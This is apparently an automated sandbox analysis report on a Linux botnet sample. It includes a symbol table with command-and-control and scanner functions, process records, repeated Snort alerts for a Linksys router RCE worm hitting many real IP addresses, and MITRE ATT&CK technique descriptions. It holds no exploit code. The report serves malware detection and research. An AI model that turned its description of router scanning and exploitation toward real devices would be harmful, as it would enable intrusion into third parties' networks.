rand_alpha_str	.symtab	0xec90	208	FUNC	<unknown>	DEFAULT	2
rand_init	.symtab	0xec28	104	FUNC	<unknown>	DEFAULT	2
rand_next	.symtab	0xebcc	92	FUNC	<unknown>	DEFAULT	2
rand_str	.symtab	0xed60	220	FUNC	<unknown>	DEFAULT	2
random	.symtab	0x12a2c	164	FUNC	<unknown>	DEFAULT	2
random.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
random_poly_info	.symtab	0x19b68	40	OBJECT	<unknown>	DEFAULT	4
random_r	.symtab	0x12cec	144	FUNC	<unknown>	DEFAULT	2
random_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
randtbl	.symtab	0x22198	128	OBJECT	<unknown>	DEFAULT	13
rawmemchr	.symtab	0x179c4	176	FUNC	<unknown>	DEFAULT	2
rawmemchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read	.symtab	0x14110	100	FUNC	<unknown>	DEFAULT	2
readdir	.symtab	0x10a9c	232	FUNC	<unknown>	DEFAULT	2
readdir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
readdir64	.symtab	0x14f84	236	FUNC	<unknown>	DEFAULT	2
readdir64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
readlink	.symtab	0x10544	64	FUNC	<unknown>	DEFAULT	2
readlink.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realloc	.symtab	0x1204c	960	FUNC	<unknown>	DEFAULT	2
realloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recv	.symtab	0x11074	112	FUNC	<unknown>	DEFAULT	2
recv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recvfrom	.symtab	0x1112c	136	FUNC	<unknown>	DEFAULT	2
recvfrom.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
register-atfork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
resolv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
resolve_cnc_addr	.symtab	0xe120	36	FUNC	<unknown>	DEFAULT	2
resolve_func	.symtab	0x22144	4	OBJECT	<unknown>	DEFAULT	13
restore_core_regs	.symtab	0x187e0	28	FUNC	<unknown>	HIDDEN	2
rindex	.symtab	0x16f30	80	FUNC	<unknown>	DEFAULT	2
rsck	.symtab	0x24ed0	4	OBJECT	<unknown>	DEFAULT	14
rsck_out	.symtab	0x24ed8	4	OBJECT	<unknown>	DEFAULT	14
sbrk	.symtab	0x14d8c	108	FUNC	<unknown>	DEFAULT	2
sbrk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
scanner_kill	.symtab	0xee3c	40	FUNC	<unknown>	DEFAULT	2
scanner_pid	.symtab	0x24ed4	4	OBJECT	<unknown>	DEFAULT	14
select	.symtab	0x105c8	132	FUNC	<unknown>	DEFAULT	2
select.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
send	.symtab	0x111f8	112	FUNC	<unknown>	DEFAULT	2
send.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sendto	.symtab	0x112b4	136	FUNC	<unknown>	DEFAULT	2
sendto.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setsid	.symtab	0x1064c	64	FUNC	<unknown>	DEFAULT	2
setsid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS

Network Behavior

Report size exceeds maximum size, go to the download page of this report and download PCAP to see all network behavior.

System Behavior

Analysis Process: 4F5W85YGoU.elf PID: 5511, Parent PID: 5438

General

Start time (UTC):	16:52:52
Start date (UTC):	21/12/2023
Path:	/tmp/4F5W85YGoU.elf
Arguments:	/tmp/4F5W85YGoU.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	16:52:52
Start date (UTC):	21/12/2023
Path:	/tmp/4F5W85YGoU.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	16:52:52
Start date (UTC):	21/12/2023
Path:	/tmp/4F5W85YGoU.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	16:52:52
Start date (UTC):	21/12/2023
Path:	/tmp/4F5W85YGoU.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: 4F5W85YGoU.elf PID: 5518, Parent PID: 5513

General

Start time (UTC):	16:52:52
Start date (UTC):	21/12/2023
Path:	/tmp/4F5W85YGoU.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: 4F5W85YGoU.elf PID: 5521, Parent PID: 5513

General

Start time (UTC):	16:52:52
Start date (UTC):	21/12/2023
Path:	/tmp/4F5W85YGoU.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:58492 -> 34.43.86.16:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:58492 -> 34.43.86.16:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:58492 -> 34.43.86.16:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:40302 -> 13.58.43.172:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:40302 -> 13.58.43.172:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:40302 -> 13.58.43.172:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:52180 -> 196.51.42.72:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:52180 -> 196.51.42.72:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:52180 -> 196.51.42.72:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:54252 -> 104.19.116.3:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:54252 -> 104.19.116.3:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:54252 -> 104.19.116.3:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:40324 -> 13.58.43.172:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:40324 -> 13.58.43.172:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:40324 -> 13.58.43.172:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:54066 -> 162.246.254.174:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:54066 -> 162.246.254.174:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:54066 -> 162.246.254.174:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:57876 -> 93.187.242.194:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:57876 -> 93.187.242.194:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:57876 -> 93.187.242.194:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:59354 -> 104.25.127.159:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:59354 -> 104.25.127.159:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:59354 -> 104.25.127.159:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:41762 -> 13.58.43.172:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:41762 -> 13.58.43.172:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:41762 -> 13.58.43.172:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:34956 -> 109.201.97.248:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:34956 -> 109.201.97.248:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:34956 -> 109.201.97.248:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:41134 -> 172.66.217.216:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:41134 -> 172.66.217.216:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:41134 -> 172.66.217.216:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:42350 -> 168.195.81.33:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:42350 -> 168.195.81.33:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:42350 -> 168.195.81.33:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:33544 -> 185.132.49.34:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:33544 -> 185.132.49.34:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:33544 -> 185.132.49.34:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:46048 -> 138.113.255.40:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:46048 -> 138.113.255.40:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:46048 -> 138.113.255.40:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:43568 -> 213.81.199.44:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:43568 -> 213.81.199.44:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:43568 -> 213.81.199.44:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:42340 -> 66.211.78.33:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:42340 -> 66.211.78.33:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:42340 -> 66.211.78.33:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:54676 -> 163.121.58.7:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:54676 -> 163.121.58.7:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:54676 -> 163.121.58.7:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:58460 -> 167.179.82.140:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:58460 -> 167.179.82.140:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:58460 -> 167.179.82.140:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:51560 -> 193.203.7.19:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:51560 -> 193.203.7.19:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:51560 -> 193.203.7.19:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:55292 -> 203.229.193.10:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:55292 -> 203.229.193.10:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:55292 -> 203.229.193.10:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:41796 -> 178.167.1.132:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:41796 -> 178.167.1.132:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:41796 -> 178.167.1.132:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:48766 -> 151.202.28.232:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:48766 -> 151.202.28.232:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:48766 -> 151.202.28.232:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:44524 -> 77.209.30.197:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:44524 -> 77.209.30.197:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:44524 -> 77.209.30.197:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:35388 -> 104.17.66.69:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:35388 -> 104.17.66.69:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:35388 -> 104.17.66.69:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:48476 -> 45.60.122.103:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:48476 -> 45.60.122.103:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:48476 -> 45.60.122.103:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:49470 -> 104.16.221.215:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:49470 -> 104.16.221.215:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:49470 -> 104.16.221.215:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:48988 -> 45.223.22.6:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:48988 -> 45.223.22.6:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:48988 -> 45.223.22.6:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:59574 -> 146.59.157.218:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:59574 -> 146.59.157.218:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:59574 -> 146.59.157.218:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:48082 -> 88.151.194.89:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:48082 -> 88.151.194.89:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:48082 -> 88.151.194.89:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:47178 -> 63.248.51.172:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:47178 -> 63.248.51.172:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:47178 -> 63.248.51.172:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:36374 -> 80.11.34.63:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:36374 -> 80.11.34.63:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:36374 -> 80.11.34.63:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:46764 -> 85.237.238.209:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:46764 -> 85.237.238.209:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:46764 -> 85.237.238.209:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:36464 -> 118.48.142.122:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:36464 -> 118.48.142.122:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:36464 -> 118.48.142.122:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:57494 -> 182.155.13.100:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:57494 -> 182.155.13.100:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:57494 -> 182.155.13.100:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:38290 -> 38.152.131.99:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:38290 -> 38.152.131.99:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:38290 -> 38.152.131.99:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:55660 -> 216.105.66.91:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:55660 -> 216.105.66.91:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:55660 -> 216.105.66.91:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:41974 -> 38.152.137.183:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:41974 -> 38.152.137.183:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:41974 -> 38.152.137.183:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:50848 -> 94.64.74.199:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:50848 -> 94.64.74.199:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:50848 -> 94.64.74.199:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:42074 -> 103.149.177.45:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:42074 -> 103.149.177.45:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:42074 -> 103.149.177.45:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:37996 -> 62.169.187.2:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:37996 -> 62.169.187.2:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:37996 -> 62.169.187.2:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:39052 -> 190.12.18.254:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:39052 -> 190.12.18.254:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:39052 -> 190.12.18.254:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:33722 -> 14.94.145.156:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:33722 -> 14.94.145.156:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:33722 -> 14.94.145.156:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:56740 -> 195.201.76.149:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:56740 -> 195.201.76.149:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:56740 -> 195.201.76.149:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:47686 -> 175.253.5.48:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:47686 -> 175.253.5.48:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:47686 -> 175.253.5.48:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:42274 -> 45.53.160.201:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:42274 -> 45.53.160.201:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:42274 -> 45.53.160.201:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.15:38398 -> 54.251.161.124:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.15:38398 -> 54.251.161.124:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.15:38398 -> 54.251.161.124:8080

Source: unknown	TCP traffic detected without corresponding DNS query: 194.216.26.77
Source: unknown	TCP traffic detected without corresponding DNS query: 209.170.169.70
Source: unknown	TCP traffic detected without corresponding DNS query: 208.146.24.224
Source: unknown	TCP traffic detected without corresponding DNS query: 116.206.227.71
Source: unknown	TCP traffic detected without corresponding DNS query: 96.223.191.203
Source: unknown	TCP traffic detected without corresponding DNS query: 93.76.134.0
Source: unknown	TCP traffic detected without corresponding DNS query: 115.140.63.0
Source: unknown	TCP traffic detected without corresponding DNS query: 25.71.176.185
Source: unknown	TCP traffic detected without corresponding DNS query: 222.224.150.22
Source: unknown	TCP traffic detected without corresponding DNS query: 112.41.113.128
Source: unknown	TCP traffic detected without corresponding DNS query: 203.202.69.102
Source: unknown	TCP traffic detected without corresponding DNS query: 89.174.102.35
Source: unknown	TCP traffic detected without corresponding DNS query: 53.151.5.145
Source: unknown	TCP traffic detected without corresponding DNS query: 25.29.199.111
Source: unknown	TCP traffic detected without corresponding DNS query: 170.85.103.250
Source: unknown	TCP traffic detected without corresponding DNS query: 186.240.136.255
Source: unknown	TCP traffic detected without corresponding DNS query: 114.103.241.222
Source: unknown	TCP traffic detected without corresponding DNS query: 219.27.103.78
Source: unknown	TCP traffic detected without corresponding DNS query: 71.189.236.231
Source: unknown	TCP traffic detected without corresponding DNS query: 23.112.182.104
Source: unknown	TCP traffic detected without corresponding DNS query: 175.74.48.89
Source: unknown	TCP traffic detected without corresponding DNS query: 202.76.158.72
Source: unknown	TCP traffic detected without corresponding DNS query: 145.197.232.85
Source: unknown	TCP traffic detected without corresponding DNS query: 91.174.155.174
Source: unknown	TCP traffic detected without corresponding DNS query: 125.144.28.84
Source: unknown	TCP traffic detected without corresponding DNS query: 34.106.142.26
Source: unknown	TCP traffic detected without corresponding DNS query: 146.48.90.93
Source: unknown	TCP traffic detected without corresponding DNS query: 220.58.224.124
Source: unknown	TCP traffic detected without corresponding DNS query: 60.93.207.248
Source: unknown	TCP traffic detected without corresponding DNS query: 37.150.161.195
Source: unknown	TCP traffic detected without corresponding DNS query: 131.47.249.79
Source: unknown	TCP traffic detected without corresponding DNS query: 159.205.81.180
Source: unknown	TCP traffic detected without corresponding DNS query: 133.130.129.150
Source: unknown	TCP traffic detected without corresponding DNS query: 158.152.121.153
Source: unknown	TCP traffic detected without corresponding DNS query: 36.65.29.174
Source: unknown	TCP traffic detected without corresponding DNS query: 106.152.88.69
Source: unknown	TCP traffic detected without corresponding DNS query: 116.25.190.103
Source: unknown	TCP traffic detected without corresponding DNS query: 222.141.155.3
Source: unknown	TCP traffic detected without corresponding DNS query: 87.125.1.93
Source: unknown	TCP traffic detected without corresponding DNS query: 186.165.62.153
Source: unknown	TCP traffic detected without corresponding DNS query: 138.67.18.214
Source: unknown	TCP traffic detected without corresponding DNS query: 101.70.252.213
Source: unknown	TCP traffic detected without corresponding DNS query: 72.118.225.12
Source: unknown	TCP traffic detected without corresponding DNS query: 13.99.158.41
Source: unknown	TCP traffic detected without corresponding DNS query: 133.155.186.64
Source: unknown	TCP traffic detected without corresponding DNS query: 203.126.54.48
Source: unknown	TCP traffic detected without corresponding DNS query: 108.107.63.44
Source: unknown	TCP traffic detected without corresponding DNS query: 40.245.66.143
Source: unknown	TCP traffic detected without corresponding DNS query: 4.33.202.82
Source: unknown	TCP traffic detected without corresponding DNS query: 23.153.42.121

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

